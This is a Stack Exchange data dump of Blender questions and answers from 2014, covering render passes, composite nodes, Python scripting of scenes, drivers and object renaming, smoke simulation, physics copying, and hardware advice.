  <row Id="7399" PostTypeId="1" CreationDate="2014-02-28T00:14:04.037" Score="3" ViewCount="2670" Body="&lt;p&gt;I have a complex scene that I would like to render with GPU enabled, is it possible to add a volumetric pass from a separate, CPU only, volumetric render? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Volumetrics are not currently compatible with GPU renders in the latest 2.70 test builds).&lt;/p&gt;&#xA;" OwnerUserId="2621" LastActivityDate="2018-08-22T22:28:07.093" Title="Can I create a separate Volumetric pass for Blender Cycles 2.70?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;volumetrics&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7400" PostTypeId="2" ParentId="7396" CreationDate="2014-02-28T00:56:54.507" Score="2" Body="&lt;p&gt;Render in passes or layer will always be slower than render everything in one go. The reasons why one would want to use render by passes include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Easier to change certain things post-render, without having to re-render the entire image. (This is a huge time saver)&lt;/li&gt;&#xA;&lt;li&gt;Easier to composite other effects in&lt;/li&gt;&#xA;&lt;li&gt;Lower memory demand&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-02-28T00:56:54.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7402" PostTypeId="1" CreationDate="2014-02-28T01:09:06.877" Score="3" ViewCount="1094" Body="&lt;p&gt;I tried my best to find the answer browsing the API doc and forums but here I'm stuck with quite an odd problem.&#xA;I'm developping an import addon wich I'd like to work as follows:&#xA;it opens a directory containing subfolders corresponding to each sequence of a movie. In each of these subfolders are still images constituting my sequences. &#xA;For each sequence, it creates a new scene in blender and in each scene it adds and connects a bunch of compositing nodes (say one image sequence node , a keying node and a composite node ). Up to this point , the script works perfectly fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is , when I try to render a scene the composite output is never taken into account and it only renders what's in the 3D view port, that is to say nothing. &#xA;I checked in my scene render options that compositor is enabled for post-processing. And when I create the scene I always set the use_nodes option to True. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the function used to create the scene and composite nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't anyone has a clue why the composite nodes won't render?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def import_sequences(self,context):&#xA;    for s in os.listdir(self.directory):&#xA;        if os.path.isdir(os.path.join(self.directory, s)):&#xA;            bpy.data.scenes.new(s)&#xA;            bpy.data.scenes[s].frame_end=len(os.listdir(os.path.join(self.directory,s)))&#xA;            bpy.data.scenes[s].render.resolution_percentage=100&#xA;            bpy.data.scenes[s].render.filepath=os.path.normpath(os.path.join(self.directory,&quot;render&quot;,s))+os.sep&#xA;            bpy.data.scenes[s].use_nodes=True&#xA;            nodes=bpy.data.scenes[s].node_tree.nodes&#xA;            nodes.remove(nodes[nodes.find(&quot;Render Layers&quot;)])&#xA;            images_node=nodes.new(&quot;CompositorNodeImage&quot;)&#xA;            images=os.listdir(os.path.join(self.directory,s))&#xA;            images.sort()&#xA;            seq_im=load_image(images[0],os.path.join(self.directory,s))&#xA;            seq_im.source = 'SEQUENCE'&#xA;            seq_im.alpha_mode='PREMUL'&#xA;            images_node.image = seq_im&#xA;            images_node.frame_duration=len(os.listdir(os.path.join(self.directory,s)))&#xA;            if self.operation == &quot;KEYING&quot;:&#xA;                keying_node=nodes.new(&quot;CompositorNodeKeying&quot;)&#xA;                bpy.data.scenes[s].node_tree.links.new(images_node.outputs[0],keying_node.inputs[0])&#xA;                bpy.data.scenes[s].node_tree.links.new(keying_node.outputs[0],nodes[nodes.find(&quot;Composite&quot;)].inputs[0])&#xA;&#xA;    bpy.data.scenes.remove(bpy.data.scenes[bpy.data.scenes.find(&quot;Scene&quot;)])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2622" LastActivityDate="2014-02-28T01:09:06.877" Title="how to render a composite created by scripting?" Tags="&lt;python&gt;&lt;rendering&gt;&lt;scripting&gt;&lt;compositor&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7404" PostTypeId="2" ParentId="7395" CreationDate="2014-02-28T02:24:32.043" Score="15" Body="&lt;p&gt;I ran some tests with 100 samples each with this scene:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aAW7M.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/177/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=177&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Defocus Node:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/camaR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2ozkI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Time: &lt;code&gt;2:01&lt;/code&gt; + roughly 7 seconds for compositing = &lt;code&gt;2:08&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Cycles DoF:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4ZRuL.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R9v4l.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Time: &lt;code&gt;2:02&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Conclusions:&lt;/h1&gt;&#xA;&lt;p&gt;Based on the above results, rendered DoF seems more reliable and realistic, as well as a little bit faster in this case.&lt;/p&gt;&#xA;&lt;p&gt;The main advantage of composited DoF is the ability to tweak the settings after the render.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-11T20:40:16.490" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7406" PostTypeId="1" CreationDate="2014-02-28T02:44:48.283" Score="1" ViewCount="858" Body="&lt;p&gt;I am trying to use python to script to change the settings of the Network Render addon. I am attempting to change the tags in the slave that way I don't have to change my blend every time. I am using a python script to enable CUDA but I can't figure out how to properly reference the settings for addons. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my slave.bat&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -P script.py -b slave.blend --addons netrender -a -noaudio -nojoystick&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the script.py&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;bpy.context.user_preferences.system.compute_device_type = 'CUDA'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2426" LastEditorUserId="55" LastEditDate="2014-02-28T04:42:46.737" LastActivityDate="2014-02-28T04:42:46.737" Title="Python script to edit addon settings" Tags="&lt;python&gt;&lt;scripting&gt;&lt;command-line&gt;&lt;network&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7407" PostTypeId="1" AcceptedAnswerId="7408" CreationDate="2014-02-28T09:17:15.857" Score="6" ViewCount="2803" Body="&lt;p&gt;I'm writting an addon with an UI. In my draw function in my UI class I've this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.prop(bpy.context.scene, 'activebone', text='active bone')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wich create an enum in the UI.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in my register class I've this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.activebone = bpy.props.EnumProperty(items=active_bone)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my draw fonction I fill the active_bone list with the some data and but the enum don't refresh himself. I know that i can retype&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.activebone = bpy.props.EnumProperty(items=active_bone)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the draw function is Read only so I can't.&#xA;Is it possible to refresh my Enum item in the draw function or am I obliged to do it in an other class like a button?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2020-10-07T07:41:07.040" Title="Dynamically fill an Enum with a list" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7408" PostTypeId="2" ParentId="7407" CreationDate="2014-02-28T09:32:56.960" Score="8" Body="&lt;p&gt;In this case it sounds like you want to use a dynamic enum, rather then passing a list, pass items as a function (which returns a list), then you can change it dynamically.&lt;/p&gt;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://docs.blender.org/api/current/bpy.props.html#bpy.props.EnumProperty&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.blender.org/api/current/bpy.props.html#bpy.props.EnumProperty&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="31447" LastEditDate="2020-10-07T07:41:07.040" LastActivityDate="2020-10-07T07:41:07.040" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="7409" PostTypeId="1" CreationDate="2014-02-28T14:59:14.090" Score="5" ViewCount="6051" Body="&lt;p&gt;It is possible to animate the emission of the smoke in smoke sim? I tried to insert keyframes in the fuelAmmount propierty in the flow object but it didn't work.&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2018-08-23T20:28:54.990" Title="Controlling smoke/fire emision amount" Tags="&lt;smoke-simulation&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7410" PostTypeId="2" ParentId="7396" CreationDate="2014-02-28T16:30:44.807" Score="4" Body="&lt;p&gt;The contents of some render passes is always computed as part of rendering the combined pass. It takes little extra time to allocate the pass and store that value, however for a simple render and many passes this overhead will add up too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For others (e.g. the Motion Vector pass) it would not normally be computed, so it will take up more time. &lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2014-02-28T16:30:44.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7411" PostTypeId="1" AcceptedAnswerId="7413" CreationDate="2014-02-28T17:56:29.227" Score="32" ViewCount="47563" Body="&lt;p&gt;Using the cell fracture addon, I created many objects from my mesh. I want to have a rigid body physics on all of them. How would I copy one of the fractured pieces physics to all the pieces? I tired ctrl L and the copy attributes addon, but none of them have the option. Any help is great.&lt;/p&gt;&#xA;" OwnerUserId="2358" LastEditorUserId="1476" LastEditDate="2014-02-28T19:33:47.937" LastActivityDate="2020-02-04T17:33:32.687" Title="Copy Physics To Multiple Objects" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7412" PostTypeId="1" AcceptedAnswerId="7414" CreationDate="2014-02-28T18:15:15.783" Score="14" ViewCount="27593" Body="&lt;p&gt;I want to rename a large number of items. Doing so manually could take quite some time. I want to use python to rename the object. To find out the python command for renaming I renamed an object manually and looked in the console for the echoed command. The command was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.select_all(action='TOGGLE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This command does not seem to be the correct command for renaming. It does not even contain the new name in the command. I also tried to look up the python command reference for the name, but the link was a dead end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I rename an object using python?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="29" LastEditDate="2014-02-28T19:51:38.347" LastActivityDate="2018-10-15T03:13:18.303" Title="How to rename selected objects using python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7413" PostTypeId="2" ParentId="7411" CreationDate="2014-02-28T18:22:09.093" Score="38" Body="&lt;p&gt;If you have one object that has physics properties and you wish that the other object had the same properties:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all object that you wish to copy the physics properties to&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the object you wish to copy the physics properties from&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;note: We select this one last so that It becomes the active selected object. This is the object that has the desired physics properties.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then In the Physics panel under Object Tools choose Copy From Active.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LR6Lv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If none of them have physics properties than you will want to add them:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all objects that need physics properties.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Physics -&gt; Add Active&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r0SMq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-02-28T18:44:40.167" LastActivityDate="2014-02-28T18:44:40.167" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7414" PostTypeId="2" ParentId="7412" CreationDate="2014-02-28T18:36:12.030" Score="19" Body="&lt;p&gt;You can access them by iterating and assign the name property:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for obj in bpy.context.selected_objects:&#xA;    obj.name = &quot;newName&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Blender automatically add &lt;code&gt;.001&lt;/code&gt;, &lt;code&gt;.002&lt;/code&gt; and so on to &lt;code&gt;newName&lt;/code&gt; if another datablock of same type and name already exists. You may need to check a name pattern within the &lt;code&gt;for&lt;/code&gt;-loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example - rename all Mesh objects in current scene that start with &lt;code&gt;C&lt;/code&gt; (e.g. &lt;code&gt;Cube&lt;/code&gt;, case insensitive):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for obj in bpy.context.scene.objects:&#xA;    if obj.type == 'MESH' and obj.name.lower().startswith(&quot;c&quot;)&#xA;        obj.name = &quot;newName&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="1363" LastEditDate="2014-02-28T20:31:58.400" LastActivityDate="2014-02-28T20:31:58.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7416" PostTypeId="2" ParentId="7411" CreationDate="2014-02-28T20:15:07.090" Score="16" Body="&lt;p&gt;If you only want to copy single properties, you can right click on the property which you want to copy and select &lt;em&gt;Copy To Selected&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KH6qe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will copy the value of that setting from the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting#Selections_and_the_Active_Object&quot; rel=&quot;noreferrer&quot;&gt;active object&lt;/a&gt;&lt;/em&gt; (the object with the yellow outline, usually the last selected) to any &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting#Selections_and_the_Active_Object&quot; rel=&quot;noreferrer&quot;&gt;selected objects&lt;/a&gt;&lt;/em&gt; (objects with an orange outline).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this works for non-physics settings too.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-02-28T20:15:07.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7417" PostTypeId="2" ParentId="7409" CreationDate="2014-02-28T20:48:55.967" Score="7" Body="&lt;p&gt;Controlling the amount of fire by keyframing the &lt;em&gt;Flame Rate&lt;/em&gt; works for me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4WxcV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it doesn't affect the smoke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To affect the smoke as well, you could try animating the &lt;em&gt;Volume Factor&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wX55m.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-02-28T20:48:55.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7418" PostTypeId="1" AcceptedAnswerId="7419" CreationDate="2014-02-28T22:30:09.943" Score="3" ViewCount="1463" Body="&lt;p&gt;I'm new to Blender Python and writing a start-up script that imports mesh from another application to Blender for rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a small problem however - imported mesh objects are too large for default Blender view-port, so I wanted to somehow make the script correct this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried something with &lt;code&gt;bpy.ops.view3d.view_all()&lt;/code&gt; but I can't get it work. I read the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.ops.html?#execution-context&quot; rel=&quot;nofollow&quot;&gt;execution-context&lt;/a&gt; docs, but I always get this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;RuntimeError: Operator bpy.ops.view3d.view_all.poll() expected a view3d region&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2632" LastEditorUserId="12" LastEditDate="2014-03-02T23:27:10.767" LastActivityDate="2014-03-02T23:27:10.767" Title="Zoom to selection in Python gives RuntimeError" Tags="&lt;python&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7419" PostTypeId="2" ParentId="7418" CreationDate="2014-02-28T23:06:49.147" Score="7" Body="&lt;p&gt;Operators need a certain context to run from, so you can override this so it can be run from the text editor or wherever depending on the area you need it executed from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        for region in area.regions:&#xA;            if region.type == 'WINDOW':&#xA;                override = {'area': area, 'region': region, 'edit_object': bpy.context.edit_object}&#xA;                bpy.ops.view3d.view_all(override)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Read more in the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.ops.html?#overriding-context&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt; and see &lt;a href=&quot;https://blender.stackexchange.com/q/6101/12&quot;&gt;this related question&lt;/a&gt; for more info.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-02-28T23:06:49.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7420" PostTypeId="1" AcceptedAnswerId="7422" CreationDate="2014-02-28T23:14:10.820" Score="4" ViewCount="1522" Body="&lt;p&gt;I'm trying to add a driver to a Cycles Value node using Python. So far my code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;node = material.node_tree.nodes.new(&quot;ShaderNodeValue&quot;)&#xA;node.driver_add(&quot;default_value&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this just gives me a 'property &quot;default_value&quot; not found' error. I've also tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;node.driver_add(&quot;value&quot;)&#xA;node.driver_add(&quot;outputs&quot;, 0)&#xA;node.driver_add(&quot;outputs[0].default_value&quot;)&#xA;node.driver_add(&quot;nodes['Value'].outputs[0].default_value&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;None of these work either. So my question is: how do I exactly add a driver to a Cycles Value node? It can be done via the UI right-click menu, but I can't find a data path that driver_add() will accept.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2014-03-01T11:25:34.117" LastActivityDate="2014-03-01T11:25:34.117" Title="Adding a driver to a Cycles node via Python" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7421" PostTypeId="2" ParentId="7420" CreationDate="2014-03-01T00:12:33.403" Score="3" Body="&lt;p&gt;I would suggest doing it with the GUI first and then examine the data structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. added a driver to the Composite Node&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0Wo9w.png&quot; alt=&quot;GUI driver&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The path is relative to &lt;code&gt;node_tree&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So try to add the driver to &lt;code&gt;node_tree&lt;/code&gt; with the given data path&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;#right click on the socket value of the node -&amp;gt; Copy Data Path&#xA;path = 'nodes[&quot;Composite&quot;].inputs[1].default_value'&#xA;&#xA;scene = bpy.context.scene&#xA;scene.use_nodes = True&#xA;driver = scene.node_tree.driver_add(path)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dlWgD.png&quot; alt=&quot;Copy Data Path&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-03-01T00:31:02.727" LastActivityDate="2014-03-01T00:31:02.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7422" PostTypeId="2" ParentId="7420" CreationDate="2014-03-01T00:12:48.017" Score="6" Body="&lt;p&gt;You need to add the driver on the output, not the node directly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fcurve = node.outputs[0].driver_new(&quot;default_value&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fcurve = node.outputs['Value'].driver_new(&quot;default_value&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The driver expression is accessed like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fcurve.driver.expression&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-03-01T00:12:48.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7423" PostTypeId="1" CreationDate="2014-03-01T03:40:42.030" Score="4" ViewCount="7126" Body="&lt;p&gt;Cannot find the 'Manipulate Object Centers Only' button refered to in the book 'Blender Foundations'. Is this an add-on?&lt;/p&gt;&#xA;" OwnerUserId="2633" LastActivityDate="2019-12-10T16:29:09.490" Title="Cannot find the 'Manipulate Object Centers Only' button. Is this an addon?" Tags="&lt;modeling&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7424" PostTypeId="2" ParentId="7423" CreationDate="2014-03-01T03:41:51.130" Score="3" Body="&lt;p&gt;When in &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;object mode&lt;/em&gt;&lt;/a&gt; it should be on the &lt;em&gt;Header&lt;/em&gt; in the 3D view, next to the pivot point selector:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i1Psg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can also toggle it with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;,&lt;/kbd&gt; (comma).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-03-11T21:42:53.940" LastActivityDate="2014-03-11T21:42:53.940" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7425" PostTypeId="1" CreationDate="2014-03-01T04:00:35.820" Score="5" ViewCount="1707" Body="&lt;p&gt;Can blender use 100% CPU when baking to speed up baking? When I was baking particles, CPU usage is around 50-60% usage and take many hours, is it possible to use 100% CPU to reduce baking time. Does the reason behind this is because using multiples cores haven't implement to particle baking yet or that is not the problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really know about programming sorry for my ignorance. &lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2016-06-13T01:54:04.797" Title="Can blender use 100% CPU when baking to speed up baking?" Tags="&lt;particles&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7429" PostTypeId="2" ParentId="7234" CreationDate="2014-03-01T11:23:49.113" Score="1" Body="&lt;p&gt;Blender 2.69 uses and comes with Python 3 meaning that there is no necessity to install Python 2.7.5 or any other version at all. Due to the changed syntax, etc. you'll most likely run into syntax errors or non-executable code. &lt;/p&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2014-03-01T11:23:49.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7430" PostTypeId="1" CreationDate="2014-03-01T12:20:39.400" Score="0" ViewCount="3535" Body="&lt;p&gt;I have recently downloaded Blender. But because my laptop is old i'm thinking of buying this HP Laptop (Pavilion 17-e100sv) with these characteristics:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intel Core i3-3110M Processor-2.40 GHz&lt;br&gt;&#xA;RAM: 4 GB - DDR3 SDRAM&lt;br&gt;&#xA;500 GB - Serial ATA - 5400 rpm&lt;br&gt;&#xA;2GB AMD Radeon HD 8670M graphics card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please tell me if these technical characteristics are enough for Blender?&#xA;If not, what do you recommend in terms of RAM, etc? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help out, since I will only buy a new laptop for Blender and I don't want to pay for something and then realize that it will not perform when i render an animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="2639" LastEditorUserId="1363" LastEditDate="2014-03-01T12:27:31.710" LastActivityDate="2014-03-01T12:41:43.777" Title="Laptop requirements for Blender" Tags="&lt;performance&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-03-01T13:17:00.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="7431" PostTypeId="2" ParentId="7430" CreationDate="2014-03-01T12:41:43.777" Score="0" Body="&lt;p&gt;Blender should run okay on old hardware for some tinkering. I would only worry about buying a new computer if you experience performance issues with more complex models and rendering (especially Cycles). If you really need a lot of horse power, go for a desktop machine, laptop performance isn't ever great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the general specifications:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.blender.org/download/requirements/&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/download/requirements/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dedicated Nvidia cards are recommended (CUDA support!), you should avoid ATI/AMD from what I've read (buggy OpenCL support etc.).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-03-01T12:41:43.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7432" PostTypeId="2" ParentId="7234" CreationDate="2014-03-01T14:19:12.853" Score="0" Body="&lt;p&gt;You need Microsoft Net Framework 4 to run blender. Download it from &lt;a href=&quot;http://www.microsoft.com/en-us/download/details.aspx?id=17851&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Also note that you do not need to install python to use blender. Blender comes bundled with python 3.3.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-01T14:19:12.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
